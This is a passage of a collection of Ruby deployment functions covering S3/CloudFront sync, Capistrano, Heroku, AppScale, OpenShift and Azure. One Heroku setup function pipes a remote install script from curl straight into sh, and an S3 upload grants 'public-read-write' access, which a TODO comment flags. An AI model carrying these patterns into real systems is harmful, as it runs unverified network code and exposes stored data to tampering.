the updated list.\n if (local_file_list[lcl_i][1] != aws_file_list[aws_i][1])\n updated_list.push(lcl_file_name)\n end\n # In either case, increment both index variables\n lcl_i += 1; progress.inc\n aws_i += 1\n when -1 # Local file name sorts first...\n # The local file doesn't exist on AWS. Add it to the new list.\n new_list.push(lcl_file_name)\n # And only increment the local index variable.\n lcl_i += 1; progress.inc\n when 1 # AWS object name sorts first...\n # The AWS object doesn't (or no longer) exist in the locally built\n # artifacts. Schedule it for deletion.\n delete_list.push(aws_file_name)\n # And only increment the aws index variable.\n aws_i += 1\n end\n end\n\n # If we're not at the end of the local file list, we need to add any new files\n # to the new list.\n while (lcl_i < lcl_len)\n new_list.push(local_file_list[lcl_i][0])\n lcl_i += 1; progress.inc\n end\n\n # If we're not at the end of the aws object list, we need to add those file to\n # the delete list.\n while (aws_i < aws_len)\n delete_list.push(aws_file_list[aws_i][0])\n aws_i += 1\n end\n progress.finish\n\n upload_list = updated_list + new_list\n\n puts(\" Hash Check complete\")\n puts(\" #{new_list.length} new files, and #{updated_list.length} updated..\")\n puts(\" #{upload_list.length} files need to be uploaded to the remote\")\n puts(\" #{delete_list.length} files need to be deleted from the remote\")\n current_time = Time.now.getutc.to_s.gsub(\" \",\"_\")\n File.open(\"new_file_list-#{current_time}.txt\", \"w+\") do |f|\n f.puts(new_list)\n end\n File.open(\"updated_file_list-#{current_time}.txt\", \"w+\") do |f|\n f.puts(upload_list)\n end\n File.open(\"deleted_list-#{current_time}.txt\", \"w+\") do |f|\n f.puts(delete_list)\n end\n\n\n # Upload the files in the upload updated and new lists, and delete the files\n # in the delete list.\n if (upload_list.length > 0)\n puts(\" Uploading files...\")\n progress = ProgressBar.new(\" Uploads\", upload_list.length)\n upload_list.each { |obj_path|\n #TODO: Generate a log of the uploaded files?\n #TODO: Error checking.\n #TODO: Stop publishing read/write.\n aws_bucket.put_object({\n acl: \"public-read-write\",\n key: obj_path,\n body: File.open(obj_path)\n })\n progress.inc\n }\n progress.finish\n else\n puts(\" No files to upload...\")\n end\n\n if (delete_list.length > 0)\n delete_list.each_slice(1000).with_index do |slice, index|\n index_from = index * 1000\n index_to = ((index+1)*1000) < delete_list.length ? ((index+1)*1000) : delete_list.length\n puts(\" Requesting Batch Delete for objects #{index_from}-#{index_to}...\")\n # Generate a Aws::S3::Types::Delete hash object.\n delete_hash = {\n delete: {\n objects: slice.map{ |f| { key: f } },\n quiet: false\n }\n }\n #TODO: Generate a log of the deleted files?\n begin\n response = aws_bucket.delete_objects(delete_hash)\n rescue Exception => e\n require 'pp'\n Kernel.abort(\"ERRROR: Batch Deletion returned with errors.\\n\"\\\n \" Delete Hash Object:\\n\"\\\n \"#{pp(delete_hash)}\\n\"\\\n \" Error message:\\n\"\\\n \"#{e.message}\")\n end\n if (response.errors.length > 0)\n require 'pp'\n Kernel.abort(\"ERRROR: Batch Deletion returned with errors\\n\"\\\n \" Delete Hash Object:\\n\"\\\n \"#{pp(delete_hash)}\\n\"\\\n \" Response Object:\\n\"\\\n \"#{pp(response)}\")\n end\n end\n else\n puts(\" No files to delete...\")\n end\n\n # Fetch and rewrite the S3 Routing Rules to make sure the 'latest' of every\n # project correctly re-route.\n puts(\" Configuring S3 Bucket Website redirect rules...\")\n\n # Open an S3 connection to the Bucket Website metadata\n aws_bucket_website = Aws::S3::BucketWebsite.new(ENV['AWS_S3_BUCKET'], {\n :region => \"us-east-1\",\n :access_key_id => ENV['AWS_ACCESS_KEY_ID'],\n :secret_access_key => ENV['AWS_SECRET_ACCESS_KEY'],\n })\n\n # Build the routing rules based on the config.yaml's 'project_descripts'. One\n # routing rule per project.\n routing_rules = []\n config_file['params']['project_descriptions'].each do |project, description|\n path = description['path']\n archived_path = description['archived_path']\n ver = description['latest']\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"#{archived_path}/latest/\" },\n :redirect => { :replace_key_prefix_with => \"#{path}/#{ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"#{archived_path}/latest\" },\n :redirect => { :replace_key_prefix_with => \"#{path}/#{ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"#{path}/latest/\" },\n :redirect => { :replace_key_prefix_with => \"#{path}/#{ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"#{path}/latest\" },\n :redirect => { :replace_key_prefix_with => \"#{path}/#{ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n end\n #TODO: We need to implement some way of adding arbitrary routing rules. Maybe\n # add a section in config.yaml that's just a JSON string that we parse?\n riak_path = config_file['params']['project_descriptions']['riak_kv']['path']\n riak_ver = config_file['params']['project_descriptions']['riak_kv']['latest']\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"riakee/latest/\" },\n :redirect => { :replace_key_prefix_with => \"#{riak_path}/#{riak_ver}/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"riakee/latest\" },\n :redirect => { :replace_key_prefix_with => \"#{riak_path}/#{riak_ver}\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n routing_rules.push(\n {\n :condition => { :key_prefix_equals => \"riakts/\" },\n :redirect => { :replace_key_prefix_with => \"riak/ts/\",\n :host_name => ENV['AWS_HOST_NAME'] }\n }\n )\n\n new_website_configuration = {\n :error_document => {:key => \"404.html\"},\n :index_document => aws_bucket_website.index_document.to_hash,\n :routing_rules => routing_rules\n }\n\n aws_bucket_website.put({ website_configuration: new_website_configuration })\n\n # Invalidate any files that were deleted or modified.\n cf_client = SimpleCloudfrontInvalidator::CloudfrontClient.new(\n ENV['AWS_ACCESS_KEY_ID'], ENV['AWS_SECRET_ACCESS_KEY'],\n ENV['AWS_CLOUDFRONT_DIST_ID'])\n invalidation_list = updated_list + delete_list\n if (invalidation_list.length == 0)\n puts(\" No files to invalidate...\")\n elsif (invalidation_list.length < 500)\n # The invalidation list is sufficiently short that we can invalidate each\n # individual file\n invalidation_list.each_slice(100).with_index do |slice, index|\n index_from = (index*100)\n index_to = ((index+1)*100) < delete_list.length ? ((index+1)*100) : delete_list.length\n puts(\" Sending Invalidation Request for objects #{index_from}-#{index_to}...\")\n cf_report = cf_client.invalidate(slice)\n end\n else\n # The invalidation list is large enough that we should skip getting charged\n # and invalidate the entire site.\n puts(\" Sending Invalidation Request for the entire site (\\\"/*\\\")...\")\n cf_report = cf_client.invalidate(['/*'])\n end\n\n puts(\"\")\n puts(\"Deploy Process Complete!\")\n puts(\"========================================\")\nend",
"def create\n deploy\n end",
"def deploy\n @operation = \"Deploy\"\n build_env = project[:build_env] || \"\"\n\n prepare_local_dir do\n run_cmd \"cap -q deploy #{build_env}\"\n run_cmd \"cap -q deploy:migrate #{build_env}\"\n run_cmd \"cap -q deploy:cleanup #{build_env}\"\n end\n end",
"def index\n branch = shift_argument || 'master'\n validate_arguments!\n\n Heroku::Auth.check\n\n unless remotes = git_remotes\n error('No Heroku remotes detected.'.red)\n end\n\n unless remote = remotes.key(app)\n error(\"Remote for #{app} was not found.\".red)\n end\n\n begin\n pack = Pack.detect.new(app, remote, options)\n pack.deploy!(branch)\n display('Deployment successful.'.green)\n rescue Pack::NotFound\n error('No suitable deploy pack found.'.red)\n rescue Pack::AmbiguousApp\n error('Ambiguous application, multiple deploy packs apply.'.red)\n rescue CommandExecutionFailure\n error('Deployment aborted.'.red.blink)\n end\n end",
"def perform\n validate_system_config\n\n deployment_name = \"#{system_config.system_name}-core\"\n\n manifest = base_manifest(\n deployment_name,\n bosh_config.target_uuid,\n system_config.bosh_provider,\n system_config.system_name,\n system_config.release_name,\n system_config.release_version,\n system_config.stemcell_name,\n system_config.stemcell_version,\n cloud_properties_for_server_flavor(system_config.core_server_flavor),\n system_config.core_ip,\n system_config.root_dns,\n system_config.admin_emails,\n system_config.common_password,\n system_config.common_persistent_disk,\n system_config.security_group\n )\n\n dea_config.build_into_manifest(manifest)\n system_config.services.each do |service_config|\n service_config.build_into_manifest(manifest)\n end\n\n chdir system_config.system_dir do\n mkdir_p(\"deployments\")\n File.open(\"deployments/#{system_config.system_name}-core.yml\", \"w\") do |file|\n file << manifest.to_yaml\n end\n end\n end",
"def setup_appengine_application(app, is_new_app)\n initialize_scaling_info_for_app(app)\n uac = UserAppClient.new(@userappserver_private_ip, @@secret)\n app_data = uac.get_app_data(app)\n loop {\n Djinn.log_info(\"Waiting for app data to have instance info for app named #{app}: #{app_data}\")\n\n app_data = uac.get_app_data(app)\n if app_data[0..4] != \"Error\"\n break\n end\n Kernel.sleep(5)\n }\n\n my_public = my_node.public_ip\n my_private = my_node.private_ip\n app_language = app_data.scan(/language:(\\w+)/).flatten.to_s\n \n if is_new_app and @app_info_map[app].nil?\n @app_info_map[app] = {}\n @app_info_map[app]['language'] = app_language\n end\n\n shadow = get_shadow\n shadow_ip = shadow.private_ip\n ssh_key = shadow.ssh_key\n app_dir = \"/var/apps/#{app}/app\"\n app_path = \"/opt/appscale/apps/#{app}.tar.gz\"\n FileUtils.mkdir_p(app_dir)\n \n # First, make sure we can download the app, and if we can't, throw up a\n # dummy app letting the user know there was a problem.\n if !copy_app_to_local(app)\n place_error_app(app, \"ERROR: Failed to copy app: #{app}\")\n app_language = \"python27\"\n end\n\n # Next, make sure their app has an app.yaml or appengine-web.xml in it,\n # since the following code assumes it is present. If it is not there\n # (which can happen if the scp fails on a large app), throw up a dummy\n # app.\n if !HelperFunctions.app_has_config_file?(app_path)\n place_error_app(app, \"ERROR: No app.yaml or appengine-web.xml for app \" +\n app)\n app_language = \"python27\"\n end\n\n HelperFunctions.setup_app(app)\n\n if is_new_app\n maybe_start_taskqueue_worker(app)\n end\n\n if is_new_app\n if @app_info_map[app]['nginx'].nil?\n @app_info_map[app]['nginx'] = find_lowest_free_port(Nginx::START_PORT)\n @app_info_map[app]['haproxy'] = find_lowest_free_port(\n HAProxy::START_PORT)\n @app_info_map[app]['nginx_https'] = Nginx.get_ssl_port_for_app(\n @app_info_map[app]['nginx'])\n end\n\n @app_info_map[app]['appengine'] = []\n end\n\n # Only take a new port for this application if there's no data about\n # this app. Use the existing port if there is info about it.\n nginx_port = @app_info_map[app]['nginx']\n https_port = @app_info_map[app]['nginx_https']\n proxy_port = @app_info_map[app]['haproxy']\n\n port_file = \"/etc/appscale/port-#{app}.txt\"\n if my_node.is_login?\n HelperFunctions.write_file(port_file, \"#{@app_info_map[app]['nginx']}\")\n Djinn.log_debug(\"App #{app} will be using nginx port #{nginx_port}, \" +\n \"https port #{https_port}, and haproxy port #{proxy_port}\")\n\n @nodes.each { |node|\n if node.private_ip != my_node.private_ip\n HelperFunctions.scp_file(port_file, port_file, node.private_ip,\n node.ssh_key)\n end\n }\n else\n loop {\n if File.exists?(port_file)\n Djinn.log_debug(\"Got port file for app #{app}\")\n break\n else\n Djinn.log_debug(\"Waiting for port file for app #{app}\")\n Kernel.sleep(5)\n end\n }\n end\n\n # TODO(cgb): Make sure we don't add the same cron lines in twice for the same\n # app, and only start xmpp if it isn't already started\n if my_node.is_shadow?\n CronHelper.update_cron(my_public, nginx_port, app_language, app)\n start_xmpp_for_app(app, nginx_port, app_language)\n end\n\n # We only need a new full proxy config file for new apps, on the machine\n # that runs the login service (but not in a one node deploy, where we don't\n # do a full proxy config).\n login_ip = get_login.private_ip\n if my_node.is_login?\n begin\n static_handlers = HelperFunctions.parse_static_data(app)\n Djinn.log_run(\"chmod -R +r #{HelperFunctions.get_cache_path(app)}\")\n rescue Exception => e\n # This specific exception may be a json parse error\n error_msg = \"ERROR: Unable to parse app.yaml file for #{app}.\" + \\\n \" Exception of #{e.class} with message #{e.message}\" \n place_error_app(app, error_msg)\n static_handlers = []\n end\n\n Nginx.write_fullproxy_app_config(app, nginx_port, https_port, my_public,\n my_private, proxy_port, static_handlers, login_ip)\n\n loop {\n Kernel.sleep(5)\n success = uac.add_instance(app, my_public, nginx_port)\n Djinn.log_debug(\"Add instance returned #{success}\")\n if success\n # tell ZK that we are hosting the app in case we die, so that\n # other nodes can update the UserAppServer on its behalf\n ZKInterface.add_app_instance(app, my_public, nginx_port)\n break\n end\n }\n end\n\n if my_node.is_appengine?\n # send a warmup request to the app to get it loaded - can shave a\n # number of seconds off the initial request if it's java or go\n # go provides a default warmup route\n # TODO: if the user specifies a warmup route, call it instead of /\n warmup_url = \"/\"\n\n app_manager = AppManagerClient.new(my_node.private_ip)\n # TODO(cgb): What happens if the user updates their env vars between app\n # deploys?\n if is_new_app\n @num_appengines.times { |index|\n appengine_port = find_lowest_free_port(STARTING_APPENGINE_PORT)\n Djinn.log_info(\"Starting #{app_language} app #{app} on \" +\n \"#{HelperFunctions.local_ip}:#{appengine_port}\")\n\n xmpp_ip = get_login.public_ip\n\n pid = app_manager.start_app(app, appengine_port,\n get_load_balancer_ip(), app_language, xmpp_ip,\n [Djinn.get_nearest_db_ip()], HelperFunctions.get_app_env_vars(app))\n\n if pid == -1\n place_error_app(app, \"ERROR: Unable to start application \" + \\\n \"#{app}. Please check the application logs.\")\n end\n\n # Tell the AppController at the login node (which runs HAProxy) that a\n # new AppServer is running.\n acc = AppControllerClient.new(get_login.private_ip, @@secret)\n loop {\n result = acc.add_appserver_to_haproxy(app, my_node.private_ip,\n appengine_port)\n if result == NOT_READY\n Djinn.log_info(\"Login node is not yet ready for AppServers to \" +\n \"be added - trying again momentarily.\")\n Kernel.sleep(5)\n else\n Djinn.log_info(\"Successfully informed login node about new \" +\n \"AppServer for #{app} on port #{appengine_port}.\")\n break\n end\n }\n }\n else\n Djinn.log_info(\"Restarting AppServers hosting old version of #{app}\")\n result = app_manager.restart_app_instances_for_app(app)\n end\n\n if is_new_app\n # now doing this at the real end so that the tools will\n # wait for the app to actually be running before returning\n done_uploading(app, app_path, @@secret)\n end\n end\n\n APPS_LOCK.synchronize {\n if @app_names.include?(\"none\")\n @apps_loaded = @apps_loaded - [\"none\"]\n @app_names = @app_names - [\"none\"]\n end\n\n if is_new_app\n @apps_loaded << app\n else\n @apps_to_restart.delete(app)\n end\n }\n end",
"def deploy(options={})\n buffer = \"Starting application #{application_name}\\n\"\n\n if options[:out]\n options[:out].puts(buffer)\n end\n\n buffer << start_gear(secondary_only: true,\n user_initiated: true,\n hot_deploy: options[:hot_deploy],\n out: options[:out],\n err: options[:err])\n\n @state.value = ::OpenShift::Runtime::State::DEPLOYING\n\n web_proxy_cart = @cartridge_model.web_proxy\n if web_proxy_cart\n buffer << @cartridge_model.do_control('deploy',\n web_proxy_cart,\n pre_action_hooks_enabled: false,\n prefix_action_hooks: false,\n out: options[:out],\n err: options[:err])\n end\n\n buffer << @cartridge_model.do_control('deploy',\n @cartridge_model.primary_cartridge,\n pre_action_hooks_enabled: false,\n prefix_action_hooks: false,\n out: options[:out],\n err: options[:err])\n\n buffer << start_gear(primary_only: true,\n user_initiated: true,\n hot_deploy: options[:hot_deploy],\n out: options[:out],\n err: options[:err])\n\n buffer << @cartridge_model.do_control('post-deploy',\n @cartridge_model.primary_cartridge,\n pre_action_hooks_enabled: false,\n prefix_action_hooks: false,\n out: options[:out],\n err: options[:err])\n\n buffer\n end",
"def prepare_deploy\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy:setup -S phase=node_prepare HOSTS=#{self.hostname}`\n `cd #{self.project_root} && BUNDLE_GEMFILE=Gemfile bundle exec cap #{self.environment} deploy -S phase=node_prepare HOSTS=#{self.hostname}`\n end",
"def run\n unless !@valid_name || File.exists?(@project_name) || File.directory?(@project_name)\n $stdout.puts \"Creating goliath application under the directory #{@project_name}\"\n FileUtils.mkdir @project_name\n \n create_base_dirs\n copy_files_to_target\n setup_api_module\n copy_files_to_dir 'application.rb','config'\n copy_files_to_dir 'database.yml','config'\n $stdout.puts \"\\e[1;32m \\trun\\e[0m\\tbundle install\"\n Dir.chdir(\"#{@project_name}\")\n system(\"bundle install\")\n else \n unless !@valid_name\n $stdout.puts \"\\e[1;31mError:\\e[0m The directory #{@project_name} already exists, aborting. Maybe move it out of the way before continuing.\"\n end\n end\n end",
"def heroku\n name = shift_argument || options[:app] || ENV['HEROKU_APP']\n validate_arguments!\n no_remote = !options[:no_remote].nil?\n remote = options[:remote]\n remote = \"heroku\" if remote == nil\n addons = options[:addons]\n password = options[:password]\n password = newpass if password == nil\n info = api.post_app({\n \"name\" => name,\n \"stack\" => \"cedar\"\n }).body\n begin\n action(\"Creating #{info['name']}\") do\n if info['create_status'] == 'creating'\n Timeout::timeout(options[:timeout].to_i) do\n loop do\n break if api.get_app(info['name']).body['create_status'] == 'complete'\n sleep 1\n end\n end\n end\n if info['region']\n status(\"region is #{info['region']}\")\n else\n status(\"stack is #{info['stack']}\")\n end\n end\n \n (addons || \"\").split(\",\").each do |addon|\n addon.strip!\n action(\"Adding #{addon} to #{info[\"name\"]}\") do\n api.post_addon(info[\"name\"], addon)\n end\n end\n\n api.put_config_vars(info[\"name\"], \"BUILDPACK_URL\" => \"http://github.com/heathprovost/openbd-heroku.git\")\n api.put_config_vars(info[\"name\"], \"OPENBD_PASSWORD\" => password)\n hputs([ info[\"web_url\"], info[\"git_url\"] ].join(\" | \"))\n \n rescue Timeout::Error\n \n hputs(\"Timed Out! Run `heroku status` to check for known platform issues.\")\n \n end\n\n unless no_remote\n create_git_remote(remote, info[\"git_url\"])\n end\n\n feature = api.get_features.body.detect { |f| f[\"name\"] == \"user-env-compile\" }\n throw \"Heroku labs feature \\\"user-env-compile\\\" is not available\" unless feature\n api.post_feature(\"user-env-compile\", info['name'])\n\n end",
"def release\n diagnostic_file = File.join JONAS_ROOT, \"diagnostics\", 'launch_jonas_diags.rb'\n diagnostics_cmd = \"ruby #{diagnostic_file}\"\n app_war_file = File.join JONAS_BASE, 'deploy' , 'app.war'\n if_jonas_base_exists_string = \"(if test ! -d #{app_war_file} ; then\"\n java_home_string = \"JAVA_HOME=#{@java_home}\"\n java_opts_string = \"JAVA_OPTS=\\\"#{ContainerUtils.to_java_opts_s(@java_opts)}\\\"\"\n export_base_vars_string = 'export JAVA_HOME JAVA_OPTS'\n export_deployme_vars_string = 'export JONAS_ROOT JONAS_BASE'\n deployme_var_string = \"JONAS_ROOT=#{JONAS_ROOT} JONAS_BASE=#{JONAS_BASE}\"\n deployme_root = File.join JONAS_ROOT, 'deployme'\n topology_xml_erb_file = File.join deployme_root, 'topology.xml.erb'\n topology_xml_file = File.join deployme_root, 'topology.xml'\n deployme_jar_file = File.join deployme_root, 'deployme.jar'\n topology_erb_cmd_string = \"erb #{topology_xml_erb_file} > #{topology_xml_file}\"\n deployme_cmd_string = \"$JAVA_HOME/bin/java -jar #{deployme_jar_file} -topologyFile=#{topology_xml_file} -domainName=singleDomain -serverName=singleServerName\"\n else_skip_string = 'else echo \"skipping jonas_base config as already present\"; fi)'\n setenv_cmd_string = File.join JONAS_BASE, 'setenv'\n copyapp_cmd = \"mkdir -p #{app_war_file} && cp -r --dereference * #{app_war_file}/\"\n start_script_string = \"source #{setenv_cmd_string} && jonas start -fg\"\n\n \"(#{diagnostics_cmd} & ); #{java_home_string} #{java_opts_string} && #{export_base_vars_string} && #{if_jonas_base_exists_string} #{deployme_var_string} && #{export_deployme_vars_string} && #{topology_erb_cmd_string} && #{deployme_cmd_string} && #{copyapp_cmd}; #{else_skip_string} && #{start_script_string}\"\n end",
"def deploy_app(app, deploy_params = {})\n deploy_generated(app.services_xml, app.sd_files,\n deploy_params.merge(app.deploy_params), app.hosts_xml, nil, app.validation_overrides_xml)\n end",
"def configure_heroku\n box(\"You will now need to register a Heroku account to host the app, and upgrade to the free Hobby Dev tier by providing payment information. You can do so #{TTY::Link.link_to(\"here.\", \"http://url.perlmutterapp.com/heroku\")}\")\n name = @config[\"config\"][\"app_name\"].nil? ? @config[\"config\"][\"organization_name\"].downcase.tr(\" \", \"\") : @config[\"config\"][\"app_name\"]\n begin\n @cmd.run(\"which heroku\")\n rescue TTY::Command::ExitError\n @cmd.run(\"curl https://cli-assets.heroku.com/install.sh | sh\")\n end\n @cmd.run(\"heroku login\", input: \"h\")\n success_prompt(\"Heroku authenticated.\")\n\n name = get_heroku_app_name(name)\n app_url = get_heroku_app_url(name)\n success_prompt(\"Heroku app configured. Beginning to deploy...\")\n app_url = deploy_heroku(name, app_url)\n @cmd.run(\"heroku run:detached rake db:migrate -a #{name}\")\n db_loader = loader(\"Almost there! Configuring database of app...\", 60)\n db_loader.stop\n\n [name, app_url]\nend",
"def deploy\n Tipsy::Runners::Deployer.new\n end",
"def run_deploys(deployments, app_name, app_data)\n did_we_deploy = false\n\n deployments.each do |application, deploy|\n\n if application != app_name\n debug_log(\"#{application} skipped: #{app_name}\")\n next\n end\n\n layer_name = app_data['layer']\n next unless allow_deploy(application, app_name, layer_name)\n\n debug_log('Deployment started')\n debug_log(\"Deploying as user: #{deploy['user']} and #{deploy['group']}\")\n\n easybib_deploy application do\n deploy_data deploy\n end\n\n did_we_deploy = true\n\n nginx_config = app_data.fetch('nginx', nil)\n next if nginx_config.nil? # no nginx\n\n config_template = get_template(nginx_config)\n next if config_template.nil? # no nginx\n\n config_cookbook = get_cookbook(nginx_config)\n\n listen_opts = get_additional('listen_opts', app_data)\n\n easybib_nginx application do\n cookbook config_cookbook\n config_template config_template\n domain_name deploy['domains'].join(' ')\n doc_root deploy['document_root']\n htpasswd \"#{deploy['deploy_to']}/current/htpasswd\"\n listen_opts listen_opts\n notifies :reload, 'service[nginx]', :delayed\n notifies node['php-fpm']['restart-action'], 'service[php-fpm]', :delayed\n end\n end\n\n did_we_deploy\nend",
"def deploy\n\n $active_deploy = true\n bucket = JSON.parse($deploy_bucket.last.to_json)\n unless bucket.nil?\n puts \"Deploying code for: #{bucket.inspect}\"\n system(\"./deploy.sh #{bucket['git_account']} #{bucket['launch_branch_name']} #{bucket['git_appname']} #{bucket['heroku_appname']} #{bucket['folder_name']}\")\n end\n $deploy_bucket.pop\n puts \"Now making active_deploy as false\"\n $active_deploy = false\n check_build bucket\nend",
"def deploy(&block)\n in_directory do\n self.setup!\n self.push_with_retry!\n block.call(self, platform_api, output) if block_given?\n end\n ensure\n self.teardown!\n end",
"def action_deploy\n set_state\n notifying_block do\n write_config\n run_syncdb\n run_migrate\n run_collectstatic\n end\n end",
"def deploy_to\n \"/data/#{app_name.downcase}/app\"\n end",
"def deploy?; run_options[:deploy]; end",
"def deploy\n Kb8Run.update_context(@kb8context)\n @deploy_units.each do | deploy_unit |\n deploy_unit.deploy\n end\n end",
"def generate_java()\n Djinn.log_run(\"cp -r /root/appscale/AppServer_Java/error_app/* #{@dir_path}\")\n app_xml =<<CONFIG\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<appengine-web-app xmlns=\"http://appengine.google.com/ns/1.0\">\n <application>#{@app_name}</application>\n <version>badversion</version>\n <threadsafe>true</threadsafe>\n\n</appengine-web-app>\nCONFIG\n \n HelperFunctions.write_file(\"#{@dir_path}/war/WEB-INF/appengine-web.xml\",\n app_xml)\n app_tar = \"/opt/appscale/apps/#{@app_name}.tar.gz\"\n Djinn.log_run(\"rm #{app_tar}\")\n Dir.chdir(@dir_path) do\n Djinn.log_run(\"tar zcvf #{app_tar} ./*\")\n end\n\n return true\n end",
"def create\n\t\t@app \t\t\t\t= find_deployable_application_by(\"public_token\", params[:deployment][:deployable_application_id])\n\n\t\t# Chech if the branch and the environment are correct, otherwise kill the request with raise HTTPUnauthorized\n\t\tvalidate_branch_and_environment(@app, params)\n\n\n\t\t# CREATE NEW RAKE DEPLOY\n\t\t@deployment \t\t= @app.deployments.create!(deployment_params)\n\n\t\tRakeInvoker.run(pull_requests: :fetch_for_app, PUBLIC_TOKEN: @app.public_token, APP_ID: @app.id, DEPLOYMENT_ID: @deployment.id)\n\n\t\t# @deployment.user \t= User.first\n\n\t\tif @deployment.save\n\t\t\trender :json => \"Done\"\n\t\telse\n\t\t\trender :json => \"Errors\"\n\t\tend\n\tend",
"def deploy\n what = ARGV.shift\n\n case what\n when 'packages'\n deploy_packages\n else\n ARGV.unshift what\n original_deploy\n end\n end",
"def run\n reconfigure\n setup_application\n run_application\n end",
"def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\nend",
"def deploy\n\t# This task is typiclly run after the site is updated but before the server is restarted.\nend",
"def apply_step\n # Create deploy directories\n cap 'deploy:setup'\n # Deploy the configured step\n $?.success? ? (cap 'deploy') : (return $?)\n # Download dynamic step modules through librarian-puppet\n $?.success? ? (cap 'puppet:bundle_modules') : (return $?)\n # Install the step provision through puppet\n $?.success? ? (cap 'puppet:apply') : (return $?)\n $?\n end",
"def initial_deployment\n raise NotImplementedError\n end",
"def default_deploy\n setup\n update_repo_tag\n push_repo\n maintenance_mode do\n run_migrations\n app_restart\n end\n warm_instance\n teardown\n end",
"def deploy()\n release = create_release_name()\n\n write_deploy_version_file()\n\n DirectorySync.sync(server, from_dir, cache_dir, server[:deployer])\n copy_cache_dir_to_release(release)\n\n symlink_shared_directories(release)\n\n send_scripts()\n run_script(:before, release)\n symlink_release_dir(release)\n run_script(:after, release)\n end",
"def install_app\n STDERR.puts \"Installing #{@name} from #{@source} into #{target}\"\n dirs = Dir.entries(@source)\n use_engine = dirs.include?(\"crowbar_engine\")\n dirs.sort.each do |ent|\n next if /^\\./ =~ ent or ent == \"debian\"\n case ent\n when \"crowbar_framework\"\n next if use_engine || skip_files\n debug(\"Copying crowbar_framework files over for #{@name}\")\n FileUtils.cp_r(File.join(@source,'crowbar_framework'),target)\n when \"crowbar_engine\"\n FileUtils.cp_r(File.join(@source,ent),dir) unless @source == dir\n if FileTest.exists?(File.join(dir,ent,\"barclamp_\"+@name+\"/test/unit\"))\n FileUtils.mkdir_p(File.join(target,\"crowbar_framework/test/unit\"))\n FileUtils.cp_r(File.join(dir,ent,\"barclamp_\"+@name+\"/test/unit\"),File.join(target,\"crowbar_framework/test/\"))\n end\n if FileTest.exists?(File.join(dir,ent,\"barclamp_\"+@name+\"/test/\"+@name+\"_test_helper.rb\"))\n FileUtils.cp(File.join(dir,ent,\"barclamp_\"+@name+\"/test/\"+@name+\"_test_helper.rb\"),File.join(target,\"crowbar_framework/test/\"))\n end\n debug(\"#{@name} is implemented using a Rails Engine.\")\n debug(\"Linking in routes and Gemfile entries.\")\n gem_name = \"barclamp_#{@name}\"\n engine_class = \"Barclamp%s::Engine\" % camelize(@name)\n # N.B. the run-time path to the engine could be different from\n # the install-time path referenced by our 'dir' variable, so\n # instead we use a 'crowbar_path' variable set at runtime by\n # the main Gemfile.\n engine_path = File.join('crowbar_engine', gem_name)\n framework_dir = File.join(target, 'crowbar_framework')\n routes_dir = File.join(framework_dir, 'config', 'routes.d')\n gemfile_dir = File.join(framework_dir, 'Gemfile.d')\n FileUtils.mkdir_p(routes_dir)\n FileUtils.mkdir_p(gemfile_dir)\n routes_plugin = File.join(routes_dir, \"barclamp-#{@name}-engine.routes\")\n gemfile_plugin = File.join(gemfile_dir, \"barclamp-#{@name}.gemfile\")\n File.open(routes_plugin, 'w') do |f|\n f.puts(\"mount #{engine_class}, :at => '#{@name}'\")\n end unless File.exists?(routes_plugin)\n File.open(gemfile_plugin, 'w') do |f|\n f.puts(\"gem '#{gem_name}', :path => File.join(crowbar_path, '..', 'barclamps', '#{@name}', '#{engine_path}')\")\n end unless File.exists?(gemfile_plugin)\n when 'bin'\n debug(\"Installing commands for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'bin'))\n FileUtils.cp_r(File.join(@source,'bin'),target)\n FileUtils.chmod_R(0755,File.join(target,'bin'))\n when 'etc'\n debug(\"Installing configs for #{@name}\")\n FileUtils.mkdir_p(File.join(@root,'etc'))\n FileUtils.cp_r(File.join(@source,'etc'),@root)\n when 'updates'\n debug(\"Installing Sledgehammer updates for #{@name}\")\n FileUtils.mkdir_p(File.join(@root,'updates'))\n FileUtils.cp_r(File.join(@source,'updates'),@root)\n when 'BDD'\n debug(\"Installing BDD framework components for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'BDD'))\n FileUtils.cp_r(File.join(@source,'BDD'),target)\n when 'doc'\n debug(\"Installing documentation for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'doc',@name))\n FileUtils.cp_r(File.join(@source,'doc','.'),File.join(target,'doc',@name))\n else\n next if @source == dir\n debug(\"Copying #{ent} into #{dir}\")\n FileUtils.mkdir_p(dir)\n FileUtils.cp_r(File.join(@source,ent),dir)\n end\n end\n end",
"def deploy\n if phase.has_key?('deploy')\n execute(\"deploy\", phase['deploy'])\n end\n end",
"def setup_files\n create_application_rb\n create_production_rb\n end",
"def deploy\n # ensure the resource group is created\n params = @client.model_classes.resource_group.new.tap do |rg|\n rg.location = 'westus'\n end\n @client.resource_groups.create_or_update(@resource_group, params)\n\n # build the deployment from a json file template from parameters\n template = File.read(File.expand_path(File.join(__dir__, '../templates/template.json')))\n deployment = @client.model_classes.deployment.new\n deployment.properties = @client.model_classes.deployment_properties.new\n deployment.properties.template = JSON.parse(template)\n deployment.properties.mode = Azure::Resources::Profiles::Latest::Mgmt::Models::DeploymentMode::Incremental\n\n # build the deployment template parameters from Hash to {key: {value: value}} format\n deploy_params = DEPLOYMENT_PARAMETERS.merge(sshKeyData: @pub_ssh_key)\n deployment.properties.parameters = Hash[*deploy_params.map{ |k, v| [k, {value: v}] }.flatten]\n\n # log the request and response contents of Template Deployment.\n # By default, ARM does not log any content. By logging information about the request or response, you could\n # potentially expose sensitive data that is retrieved through the deployment operations.\n debug_settings = @client.model_classes.debug_setting.new\n 